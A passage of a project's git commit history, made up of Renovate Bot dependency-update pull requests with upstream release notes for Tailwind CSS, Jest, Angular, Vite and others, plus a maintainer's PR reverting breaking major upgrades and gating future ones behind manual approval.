This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.2.4/4.3.0) | | [tailwindcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/tailwindcss/4.2.4/4.3.0) | --- ### Release Notes <details> <summary>tailwindlabs/tailwindcss (@​tailwindcss/postcss)</summary> ### [`v4.3.0`](https://github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#430---2026-05-08) [Compare Source](https://github.com/tailwindlabs/tailwindcss/compare/v4.2.4...v4.3.0) ##### Added - Add `@container-size` utility ([#​18901](https://github.com/tailwindlabs/tailwindcss/pull/18901)) - Add `scrollbar-{auto,thin,none}` utilities for `scrollbar-width`, and `scrollbar-thumb-*` / `scrollbar-track-*` color utilities for `scrollbar-color` ([#​19981](https://github.com/tailwindlabs/tailwindcss/pull/19981), [#​20019](https://github.com/tailwindlabs/tailwindcss/pull/20019)) - Add `scrollbar-gutter-*` utilities ([#​20018](https://github.com/tailwindlabs/tailwindcss/pull/20018)) - Add `zoom-*` utilities ([#​20020](https://github.com/tailwindlabs/tailwindcss/pull/20020)) - Add `tab-*` utilities ([#​20022](https://github.com/tailwindlabs/tailwindcss/pull/20022)) - Allow using `@variant` with stacked variants (e.g. `@variant hover:focus { … }`) ([#​19996](https://github.com/tailwindlabs/tailwindcss/pull/19996)) - Allow using `@variant` with compound variants (e.g. `@variant hover, focus { … }`) ([#​19996](https://github.com/tailwindlabs/tailwindcss/pull/19996)) - Support `--default(…)` in `--value(…)` and `--modifier(…)` for functional `@utility` definitions ([#​19989](https://github.com/tailwindlabs/tailwindcss/pull/19989)) ##### Fixed - Ensure `@plugin` resolves package JavaScript entries instead of browser CSS entries when using `@tailwindcss/vite` ([#​19949](https://github.com/tailwindlabs/tailwindcss/pull/19949)) - Fix relative `@import` and `@plugin` paths resolving from the wrong directory when using `@tailwindcss/vite` ([#​19965](https://github.com/tailwindlabs/tailwindcss/pull/19965)) - Ensure CSS files containing `@variant` are processed by `@tailwindcss/vite` ([#​19966](https://github.com/tailwindlabs/tailwindcss/pull/19966)) - Resolve imports relative to `base` when `result.opts.from` is not provided when using `@tailwindcss/postcss` ([#​19980](https://github.com/tailwindlabs/tailwindcss/pull/19980)) - Canonicalization: preserve significant `_` whitespace in arbitrary values ([#​19986](https://github.com/tailwindlabs/tailwindcss/pull/19986)) - Canonicalization: add parentheses when removing whitespace from arbitrary values would hurt readability (e.g. `w-[calc(100%---spacing(60))]` → `w-[calc(100%-(--spacing(60)))]`) ([#​19986](https://github.com/tailwindlabs/tailwindcss/pull/19986)) - Canonicalization: preserve the original unit in arbitrary values instead of normalizing to base units (e.g. `-mt-[20in]` → `mt-[-20in]`, not `mt-[-1920px]`) ([#​19988](https://github.com/tailwindlabs/tailwindcss/pull/19988)) - Canonicalization: migrate arbitrary `:has()` variants from `[&:has(…)]` to `has-[…]` ([#​19991](https://github.com/tailwindlabs/tailwindcss/pull/19991)) - Upgrade: don’t migrate inline `style` attributes (e.g. `style="flex-grow: 1"` → `style="flex-grow: 1"`, not `style="grow: 1"`) ([#​19918](https://github.com/tailwindlabs/tailwindcss/pull/19918)) - Allow multiple `@utility` definitions with the same name but different value types ([#​19777](https://github.com/tailwindlabs/tailwindcss/pull/19777)) - Export missing `PluginWithConfig` type from `tailwindcss/plugin` to fix errors when inferring plugin config types ([#​19707](https://github.com/tailwindlabs/tailwindcss/pull/19707)) - Ensure `start` and `end` legacy utilities without values do not generate CSS ([#​20003](https://github.com/tailwindlabs/tailwindcss/pull/20003)) - Ensure `--value(…)` is required in functional `@utility` definitions ([#​20005](https://github.com/tailwindlabs/tailwindcss/pull/20005)) - Canonicalization: preserve required whitespace around operators in negated arbitrary values (e.g. `-left-[(var(--a)+var(--b))]`) ([#​20011](https://github.com/tailwindlabs/tailwindcss/pull/20011)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #66 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
a93ee16091 |
chore(deps): update dependency lint-staged to v17.0.3 (#55)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/lint-staged/17.0.2/17.0.3) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.3`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1703) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.2...v17.0.3) ##### Patch Changes - [#​1782](https://github.com/lint-staged/lint-staged/pull/1782) [`06813f9`](https://github.com/lint-staged/lint-staged/commit/06813f9ab661db987e7720086ef9ec3f552ee097) Thanks [@​iiroj](https://github.com/iiroj)! - Fix *lint-staged* behavior when implicitly committing files without using `git add` by either: - `git commit -am "my commit message"` where `-a` (`--all`) means to automatically stage all tracked modified and deleted files - `git commit -m "my commit message" .` where `.` is an example of a [*pathspec*](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt-pathspec) where matching files will be staged </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #55 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
caf730bc40 |
chore(deps): update jest monorepo to v30.4.1 (#53)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest/30.3.0/30.4.1) | | [jest-environment-node](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-environment-node)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-environment-node/30.3.0/30.4.1) | | [jest-util](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-util)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-util/30.3.0/30.4.1) | --- ### Release Notes <details> <summary>jestjs/jest (jest)</summary> ### [`v30.4.1`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3041) [Compare Source](https://github.com/jestjs/jest/compare/v30.4.0...v30.4.1) ##### Features - `[jest-config, jest-core, jest-runner, jest-schemas, jest-types]` Allow custom runner configuration options via tuple format `['runner-path', {options}]` ([#​16141](https://github.com/jestjs/jest/pull/16141)) ##### Fixes - `[jest-runtime]` Align CJS-from-ESM default export with Node: `module.exports` is always the ESM default, `__esModule` unwrapping is no longer applied ([#​16143](https://github.com/jestjs/jest/pull/16143)) ### [`v30.4.0`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3040) [Compare Source](https://github.com/jestjs/jest/compare/v30.3.0...v30.4.0) ##### Features - `[babel-jest]` Support collecting coverage from `.mts`, `.cts` (and other) files ([#​15994](https://github.com/jestjs/jest/pull/15994)) - `[jest-circus, jest-cli, jest-config, jest-core, jest-jasmine2, jest-types]` Add `--collect-tests` flag to discover and list tests without executing them ([#​16006](https://github.com/jestjs/jest/pull/16006)) - `[jest-config, jest-runner, jest-worker]` Add `workerGracefulExitTimeout` config option to control how long workers are given to exit before being force-killed ([#​15984](https://github.com/jestjs/jest/pull/15984)) - `[jest-config]` Add support for `jest.config.mts` as a valid configuration file ([#​16005](https://github.com/jestjs/jest/pull/16005)) - `[jest-config, jest-core, jest-reporters, jest-runner]` `verbose` and `silent` can now be set per-project; the project-level value overrides the global value for that project's tests ([#​16133](https://github.com/jestjs/jest/pull/16133)) - `[@jest/fake-timers]` Accept `Temporal.Duration` in `jest.advanceTimersByTime()` and `jest.advanceTimersByTimeAsync()` ([#​16128](https://github.com/jestjs/jest/pull/16128)) - `[@jest/fake-timers]` Accept `Temporal.Instant` and `Temporal.ZonedDateTime` in `jest.setSystemTime()` and `useFakeTimers({now})` ([#​16128](https://github.com/jestjs/jest/pull/16128)) - `[@jest/fake-timers]` Support faking `Temporal.Now.*` ([#​16131](https://github.com/jestjs/jest/pull/16131)) - `[jest-mock]` Add `clearMocksOnScope(scope)` on `ModuleMocker` for clearing every mock function exposed on a scope object ([#​16088](https://github.com/jestjs/jest/pull/16088)) - `[jest-resolve]` Add `canResolveSync()` on `Resolver` so callers can detect when a user-configured resolver only exports an `async` hook ([#​16064](https://github.com/jestjs/jest/pull/16064)) - `[jest-runtime]` Use synchronous `evaluate()` for ES modules without top-level `await` on Node versions that support it (v24.9+), and prefer the synchronous transform path when a sync transformer is configured ([#​16062](https://github.com/jestjs/jest/pull/16062)) - `[jest-runtime]` Support `require()` of ES modules on Node v24.9+ ([#​16074](https://github.com/jestjs/jest/pull/16074)) - `[jest-runtime]` Validate TC39 import attributes (`with { type: 'json' }`) on ESM imports ([#​16127](https://github.com/jestjs/jest/pull/16127)) - `[@jest/transform]` Add `canTransformSync(filename)` on `ScriptTransformer` so callers can pick the sync vs async transform path ([#​16062](https://github.com/jestjs/jest/pull/16062)) - `[jest-util]` Add `isError` helper ([#​16076](https://github.com/jestjs/jest/pull/16076)) - `[pretty-format]` Support React 19 ([#​16123](https://github.com/jestjs/jest/pull/16123)) ##### Fixes - `[expect-utils]` Fix `toStrictEqual` failing on `structuredClone` results due to cross-realm constructor mismatch ([#​15959](https://github.com/jestjs/jest/pull/15959)) - `[@jest/expect-utils]` Prevent `toMatchObject`/subset matching from throwing when encountering exotic iterables ([#​15952](https://github.com/jestjs/jest/pull/15952)) - `[fake-timers]` Convert `Date` to milliseconds before passing to `@sinonjs/fake-timers` ([#​16029](https://github.com/jestjs/jest/pull/16029)) - `[jest]` Export `GlobalConfig` and `ProjectConfig` TypeScript types ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-circus]` Prevent crash when `asyncError` is undefined for non-Error throws ([#​16003](https://github.com/jestjs/jest/pull/16003)) - `[jest-circus, jest-jasmine2]` Include `Error.cause` in JSON `failureMessages` output ([#​15967](https://github.com/jestjs/jest/pull/15967)) - `[jest-config]` Fix preset path resolution on Windows when the preset uses subpath `exports` ([#​15961](https://github.com/jestjs/jest/pull/15961)) - `[jest-config]` Allow `collectCoverage` and `coverageProvider` in project config without a validation warning ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-config]` Project config validator now emits "is not supported in an individual project configuration" instead of "probably a typing mistake" for known global-only options ([#​16132](https://github.com/jestjs/jest/pull/16132)) - `[jest-environment-node]` Fix `--localstorage-file` warning on Node 25+ ([#​16086](https://github.com/jestjs/jest/pull/16086)) - `[jest-reporters]` Apply global coverage threshold to unmatched pattern files in addition to glob/path thresholds ([#​16137](https://github.com/jestjs/jest/pull/16137)) - `[jest-reporters, jest-runner, jest-runtime, jest-transform]` Fix coverage report not showing correct code coverage when using `projects` config option ([#​16140](https://github.com/jestjs/jest/pull/16140)) - `[jest-runtime]` Resolve `expect` and `@jest/expect` from the internal module registry so test-file imports share the same `JestAssertionError` as the global `expect` ([#​16130](https://github.com/jestjs/jest/pull/16130)) - `[jest-runtime]` Improve CJS-from-ESM interop: `__esModule`/Babel default unwrap, broader named-export coverage, and shared CJS singleton across importers ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Load `.js` files with ESM syntax but no `"type":"module"` marker as native ESM ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Extend the `.js`-with-ESM-syntax fallback to `require()` on Node v24.9+ - falls back to `require(esm)` when the CJS parser rejects ESM syntax ([#​16078](https://github.com/jestjs/jest/pull/16078)) - `[jest-runtime]` Fix deadlocks and double-evaluation in concurrent ESM and wasm imports ([#​16050](https://github.com/jestjs/jest/pull/16050)) - `[jest-runtime]` Fix error when `require()` is called after the Jest environment has been torn down ([#​15951](https://github.com/jestjs/jest/pull/15951)) - `[jest-runtime]` Fix missing error when `import()` is called after the Jest environment has been torn down ([#​16080](https://github.com/jestjs/jest/pull/16080)) - `[jest-runtime]` Fix virtual `unstable_mockModule` registrations not respected in ESM ([#​16081](https://github.com/jestjs/jest/pull/16081)) - `[jest-runtime]` Apply `moduleNameMapper` when resolving modules with `require.resolve()` and the `paths` option ([#​16135](https://github.com/jestjs/jest/pull/16135)) ##### Chore & Maintenance - `[@jest/fake-timers]` Upgrade `@sinonjs/fake-timers` ([#​16139](https://github.com/jestjs/jest/pull/16139)) - `[jest-runtime]` Use synchronous `linkRequests` / `instantiate` for ESM linking on Node v24.9+ ([#​16063](https://github.com/jestjs/jest/pull/16063)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #53 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
48e7a72f61 |
chore(deps): update dependency @types/node to v24.12.3 (#52)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`24.12.2` -> `24.12.3`](https://renovatebot.com/diffs/npm/@types%2fnode/24.12.2/24.12.3) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #52 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
4739fc4f9b |
fix(deps): update angular to v21.2.10 (#47)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.9/21.2.10) | | [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.9/21.2.10) | | [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.9/21.2.10) | | [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.9/21.2.10) | | [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.11/21.2.12) | | [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.11/21.2.12) | | [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.11/21.2.12) | | [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.11/21.2.12) | | [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.11/21.2.12) | | [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.11/21.2.12) | | [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.11/21.2.12) | | [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.11/21.2.12) | | [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.9/21.2.10) | --- ### Release Notes <details> <summary>angular/angular-cli (@​angular-devkit/core)</summary> ### [`v21.2.10`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21210-2026-05-06) [Compare Source](https://github.com/angular/angular-cli/compare/v21.2.9...v21.2.10) ##### [@​angular/cli](https://github.com/angular/cli) | Commit | Type | Description | | --------------------------------------------------------------------------------------------------- | ---- | ----------------------------------------------------------------------- | | [bb8611913](https://github.com/angular/angular-cli/commit/bb861191328fc2d25bd5ee99b0c8edc5e49d3a7d) | fix | restrict MCP workspace access to allowed client roots during resolution | <!-- CHANGELOG SPLIT MARKER --> </details> <details> <summary>angular/angular (@​angular/common)</summary> ### [`v21.2.12`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21212-2026-05-06) [Compare Source](https://github.com/angular/angular/compare/v21.2.11...v21.2.12) ##### core | Commit | Type | Description | | -- | -- | -- | | [fe13bb669d](https://github.com/angular/angular/commit/fe13bb669d2bfab4713623d17b41c430aa0a61d8) | fix | allow explicit read generic with signal input transforms | | [3430251fef](https://github.com/angular/angular/commit/3430251fef93f6aec1fa9c7867e85df23f67c9a0) | fix | i18n flags leaking on errors | | [1aeebbe304](https://github.com/angular/angular/commit/1aeebbe3048b5aa612dd0a5448de9883ed51e7e8) | fix | respect ngSkipHydration on components with projectable nodes in LContainers | | [9e38ed7d57](https://github.com/angular/angular/commit/9e38ed7d5773a9193ba07afdba3f7a9f2fe02d18) | fix | sanitizer typings | | [7a05a9a71a](https://github.com/angular/angular/commit/7a05a9a71a5ab75042ec5560c01526de6e61e062) | fix | validate security-sensitive attributes in i18n bindings | | [c37f6ca42f](https://github.com/angular/angular/commit/c37f6ca42f263353cb9563fa90d7b31d3c7837ca) | fix | visit ng-let expression value in signal migration schematics | ##### forms | Commit | Type | Description | | -- | -- | -- | | [03ad53863b](https://github.com/angular/angular/commit/03ad53863bf3c368f0f02a4322d4141e8f70f674) | fix | prohibit concurrent submits in signal forms | <!-- CHANGELOG SPLIT MARKER --> </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #47 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
0d21129bad |
chore(deps): update dependency vite to v8.0.11 (#46)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.10` -> `8.0.11`](https://renovatebot.com/diffs/npm/vite/8.0.10/8.0.11) | --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.0.11`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8011-2026-05-07-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.0.10...v8.0.11) ##### Features - update rolldown to 1.0.0-rc.18 ([#​22360](https://github.com/vitejs/vite/issues/22360)) ([3f80524](https://github.com/vitejs/vite/commit/3f80524aa1fa40bfa831f1a1bf2641c3979ba396)) ##### Bug Fixes - **deps:** update all non-major dependencies ([#​22334](https://github.com/vitejs/vite/issues/22334)) ([672c962](https://github.com/vitejs/vite/commit/672c96288fd5440bbecddc65551e713edeb8d403)) - **deps:** update all non-major dependencies ([#​22382](https://github.com/vitejs/vite/issues/22382)) ([5c0cfcb](https://github.com/vitejs/vite/commit/5c0cfcb83dde2c6e25b6c3215dd622956bf29631)) - **glob:** align hmr matcher options with glob enumeration ([#​22306](https://github.com/vitejs/vite/issues/22306)) ([30028f9](https://github.com/vitejs/vite/commit/30028f94516fa06dd0212567373169b3b3f6e393)) - make separate object instance for each environment ([#​22276](https://github.com/vitejs/vite/issues/22276)) ([7c2aa3b](https://github.com/vitejs/vite/commit/7c2aa3b40ba00ce1299e4f31932c7929f179a80a)) ##### Documentation - **create-vite:** list react-compiler templates in README ([#​22347](https://github.com/vitejs/vite/issues/22347)) ([7c3a61f](https://github.com/vitejs/vite/commit/7c3a61f42da6445904e93f0e29e9a2a838fa684a)) - explain mergeConfig skips null/undefined ([#​22325](https://github.com/vitejs/vite/issues/22325)) ([2151f70](https://github.com/vitejs/vite/commit/2151f701dc98270c905c540b209fb6d23d53d3ad)) - mention native config loader in CLI options ([#​22348](https://github.com/vitejs/vite/issues/22348)) ([0420c5d](https://github.com/vitejs/vite/commit/0420c5d37b6049476b6e6c16662be372575dd683)) - update evan's x handle ([640202a](https://github.com/vitejs/vite/commit/640202a2167b0c19b94e4d3b8ff87309ae1f44d0)) ##### Miscellaneous Chores - **deps:** update dependency tsdown to ^0.21.10 ([#​22333](https://github.com/vitejs/vite/issues/22333)) ([3b51e05](https://github.com/vitejs/vite/commit/3b51e050214c5a817c163838ab8643fe34c7d0c3)) - **deps:** update rolldown-related dependencies ([#​22383](https://github.com/vitejs/vite/issues/22383)) ([555ff36](https://github.com/vitejs/vite/commit/555ff36de70a43b3b3dc22f958bf78fe75e11d67)) - **deps:** update transitive packages to fix npm audit alerts ([#​22316](https://github.com/vitejs/vite/issues/22316)) ([86aee62](https://github.com/vitejs/vite/commit/86aee6268aa879d74f68a890392c1dee973ebf05)) ##### Code Refactoring - devtools integration ([#​22312](https://github.com/vitejs/vite/issues/22312)) ([3c8bf06](https://github.com/vitejs/vite/commit/3c8bf064ec76e311f2d8be3a37dcfdcdd4e4253c)) - remove unnecessary async ([#​22296](https://github.com/vitejs/vite/issues/22296)) ([b31fd35](https://github.com/vitejs/vite/commit/b31fd355d93eb166573362bd09c07745b9f76755)) - show direct path type in bad character warning ([#​22339](https://github.com/vitejs/vite/issues/22339)) ([0c162e9](https://github.com/vitejs/vite/commit/0c162e96a6545c93808e7338b9adeca2636596fa)) ##### Tests - **create-vite:** use short help alias ([#​22389](https://github.com/vitejs/vite/issues/22389)) ([994ab66](https://github.com/vitejs/vite/commit/994ab66bc4dc872278d8353d710ffc4bbd881f8d)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/46 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
f5d3697466 |
fix(deps): revert TS6/ESLint10/webpack-cli7 majors and gate future majors (#43)
## Summary Three Renovate major bumps merged silently because `nx affected` doesn't see deps-only PRs as affecting any project — CI passed trivially, the breakage only surfaced when `nx run-many` was run locally: - **TypeScript 5→6** (#33) — `tsconfig.lib.json` fails with `TS5101: Option 'baseUrl' is deprecated`. Revert to 5.9.x. - **ESLint 9→10** (#36) — `@nx/eslint@22.7.1` not compatible: project graph fails with "Unable to find eslint". Revert eslint, `@eslint/js`, `jsonc-eslint-parser`, `eslint-plugin-playwright` to ESLint-9-compatible versions. - **webpack-cli 5→7** (#34) — webpack-cli 7 removed the `--node-env=production` flag Nx generates. Revert to 5.x. Bonus side-fix: the `ajv@<8.18.0` override added in #42 was over-broad and was forcing ESLint's bundled ajv to v8 (incompatible with ESLint 9's option contract). Narrow the override to `@angular-devkit/core>ajv@<8.18.0` so only the targeted nestjs-prisma chain is bumped. ## Prevention — gate majors behind the dependency dashboard Add a Renovate `packageRule` with `dependencyDashboardApproval: true` for `matchUpdateTypes: ["major"]`. Renovate stops auto-creating PRs for majors; they appear as checkboxes in the dashboard issue, and only get a PR after a human ticks the box (presumably after reading the changelog and confirming Nx-plugin / Angular / NestJS readiness). This is the surgical fix for the gap. The deeper fix (making `nx affected` correctly mark all projects as affected on package.json changes) is a separate investigation worth doing later — but the dashboard gate prevents the same trap regardless. ## Verification Locally on this branch: - `pnpm exec nx run-many -t lint test build --parallel=2` → ✓ 8 projects pass. - `pnpm audit --audit-level=moderate` → 0 vulnerabilities. ## Test plan - [ ] `check` job goes green on this PR (would have caught the regressions if `nx affected` were broader). - [ ] After merge, the next Renovate run does not create new PRs for any major (TS, eslint, webpack-cli, etc.). - [ ] Any pending major in the dashboard issue still appears, but only as a checkbox awaiting approval. ## Out of scope (follow-up) Investigate why `nx affected` misses package.json-only changes. Likely a missing entry in `nx.json` `namedInputs` (`default`) or `targetDefaults`. Worth its own focused PR; the dashboard gate is the conservative fix in the meantime. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #43 |
||
|
|
25bfba97cb |
chore(deps): pin patched transitive deps via pnpm.overrides (#42)
## Summary
